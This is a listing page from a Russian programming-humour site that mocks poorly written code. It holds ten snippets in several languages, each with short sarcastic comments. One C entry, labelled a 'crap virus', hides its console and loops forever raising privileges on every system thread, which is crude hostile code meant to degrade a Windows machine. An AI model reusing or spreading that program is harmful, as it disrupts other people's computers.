1. C++ / Говнокод #3068

    +59

    1. 1
    2. 2
    double _[1];
    void main(){[](){[](){[](){[](){0[_];}();}();}();}();};

    Осторожно! Новый стандарт превращает [этот язык, который нельзя называть по имени] в Perl при не верном использовании.

    C++0x, 21 Апреля 2010

    Комментарии (11)
  2. PHP / Говнокод #3067

    +165

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    if(isset($_POST["x"]) and $_POST["subject"]!="Input subject" and $_POST["text"]!="Input text"){
        if(!empty($_POST["subject"]) and !empty($_POST["text"]) and !empty($_POST['id']) and !empty($_POST['username']) and intval($_POST['id'])){
            $queryUser = mysql_query('select id_item from data_tbl where idnumber="'.(int)$_POST['id'].'" and username="'.mysql_escape_string($_POST['username']).'"');
            if(mysql_num_rows($queryUser)>0){
                $arrResult = mysql_fetch_array($queryUser);
            mysql_query("insert into tblsupport(strsubject,strinfo,dtmadded,intactive,enmtype_,intiduser) values ('".mysql_escape_string($_POST["subject"])."','
    ".mysql_escape_string(nl2br($_POST["text"]))."','".date("Y-m-d H:i:s")."','0','$redirect','".$arrResult['id_item']."')");
                    echo "<script>location.href='supportSuccess.php?type=$redirect';</script>";
            }
        }
    }

    Torch13, 21 Апреля 2010

    Комментарии (6)
  3. JavaScript / Говнокод #3066

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    <SCRIPT language="JavaScript" type="text/javascript">
      <!--
      var im = new Array("news", "info", "production", "ecology", "social", "friends");
      var img = new Object();
      for (var i=0; i<=5; i++) {
       eval("img." + im[i] + "= new Image()");
       eval("img." + im[i] + "_= new Image()");
       eval("img." + im[i] + ".src = 'images/c_menu_" + im[i] + ".gif'");
       eval("img." + im[i] + "_.src = 'images/c_menu_" + im[i] + "_.gif'");
      }
     
      function changeImage(id, action) {
       eval ("document.images['" + id + "'].src=img." + id + action + ".src");
      }
      //-->
     </SCRIPT>

    turdman, 21 Апреля 2010

    Комментарии (7)
  4. Си / Говнокод #3065

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    #define _WIN32_WINNT 0x0500
    
    #include <windows.h>
    #include <tlhelp32.h>
    #include <stdio.h>
    
    HWND console;
    
    int main(int argc, char *argv[])
    {
        console = GetConsoleWindow();
        ShowWindow(console, SW_HIDE);
        free(console);
    
        THREADENTRY32 te32;
        HANDLE snap = INVALID_HANDLE_VALUE;
    
        while(1) {
            snap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
            if ( snap == INVALID_HANDLE_VALUE ) {
                printf("faile.");
                return 0;
            }
    
            te32.dwSize = sizeof(THREADENTRY32 );
    
            if (!Thread32First(snap, &te32)) {
                printf("faile on exec thread.");
                return 0;
            }
    
            HANDLE td;
            do {
                    td = OpenThread(THREAD_ALL_ACCESS, TRUE, te32.th32ThreadID);
                    SetThreadPriority(td, 0x00010000);
    
            } while ( Thread32Next(snap, &te32 ) );
    
            CloseHandle(snap);
    
            Sleep(10);
        }
    
        return 0;
    }

    говновирус

    danilissimus, 21 Апреля 2010

    Комментарии (8)
  5. Pascal / Говнокод #3064

    +113

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    //Удаляем последний символ из мемо :)
    
    Procedure Button1Click(Sender : TObject);
    Begin
    // Some GovnoCode...
     Memo1.Lines.SelLenght := Length(Memo1.Text) - 1;
     Memo1.SelStart;
     Memo1.CopyToClipboard;
     Memo1.Clear;
     Memo1.PasteFromClipboard;
    // Some GovnoCode...
    End;
    
    end.

    Вот так, простенько и со вкусом, мы избавляется от последнего символа из Memo1.Text.

    ZLOvar, 21 Апреля 2010

    Комментарии (14)
  6. ActionScript / Говнокод #3063

    −88

    1. 1
    2. 2
    frmt = ("ISSUE" == "ISSUE") ? "@m-@yy" : "@dd-@m";
    frmt = ("ISSUE" == "ISSUE") ? "@m-@yy" : "@dd-@m";

    И не дают мне уснуть эти 2 строки. Наверное 2, чтобы наверняка, но вот условие я даже не знаю как интерпретировать Х_х

    dimas_art, 21 Апреля 2010

    Комментарии (3)
  7. PHP / Говнокод #3062

    +174

    1. 1
    2. 2
    3. 3
    shuffle($answers);
    shuffle($answers);
    shuffle($answers);

    Чтобы наверняка

    Shiz89, 21 Апреля 2010

    Комментарии (20)
  8. C++ / Говнокод #3061

    +911

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    TVector4 V0;
    TVector4 V1;
    TVector4 V2;
    
    //....
    //Пример компилирующегося допустимого использования:
    (V0+V1)=V2;

    Нашёл я тут мега библиотеку в инете для работы с векторами. За такое нужно бить по рукам.

    Говногость, 20 Апреля 2010

    Комментарии (18)
  9. C++ / Говнокод #3060

    +61

    1. 1
    2. 2
    3. 3
    FILE *h=fopen(fileDMB, "r");
    char *fileDMBtext;
    while(fileDMBtext=fgetc(h)!=EOF){return 0;}

    Я даже знаю компилятор в котором это работает.

    hromjo, 20 Апреля 2010

    Комментарии (30)
  10. Java / Говнокод #3059

    +71

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    public class XXX implements YYY
    {
        public static final String UTILITYBATCHES = "utilityBatches";
        public static final String UTILITYCALCULATIONS = "utilityCalculations";
        public static final String WARDREGISTRATION = "wardRegistration";
        public static final String WARDINSPECTIONS = "wardInspections";
        public static final String WARDPRIMARYREGISTRATION = "wardPrimaryRegistration";
        public static final String SOCIALEVENTS2DOCUMENTS = "socialEvents2documents";
        public static final String SOCIALEVENTS = "socialEvents";
        public static final String SOCIALPACKAGES = "socialPackages";
        public static final String SOCIALAIDS = "socialAids";
        public static final String PRIVCATEGORIES = "privCategories";
        public static final String PAYMENTS = "payments";
        public static final String PAYMENTDETAILS = "paymentDetails";
        public static final String PAYMENTBATCHES = "paymentBatches";
        public static final String FAMILYRELATIONS = "familyRelations";
        public static final String FOSTERFAMILIES = "fosterFamilies";
        public static final String FAMILYMEMBERS = "familyMembers";
        public static final String INVALIDNESS = "invalidness";
        public static final String HEALTHINSPECTIONS = "healthInspections";
        public static final String EMPLOYMENTS = "employments";
        public static final String EDUCATION = "education";
        public static final String DOCUMENTS = "documents";
        public static final String FAMILIES = "families";
        public static final String DECORATIONS = "decorations";
        public static final String CALCULATIONS = "calculations";
        public static final String ATTRIBUTEVALUEHISTORY = "attributeValueHistory";
        public static final String ATTRIBUTEVALUES = "attributeValues";
        public static final String ASSIGNMENTS = "assignments";
        public static final String ADDRESSES = "addresses";
        public static final String ATTACHMENTS = "attachments";
        public static final String PERSONS = "persons";
        public static final String OCCUPANCIES = "occupancies";
        public static final String PROPERTIES = "properties";
        public static final String BUILDINGS = "buildings";
        public static final String WELFAREDELIVERY = "welfareDelivery";
    }

    clipper, 20 Апреля 2010

    Комментарии (20)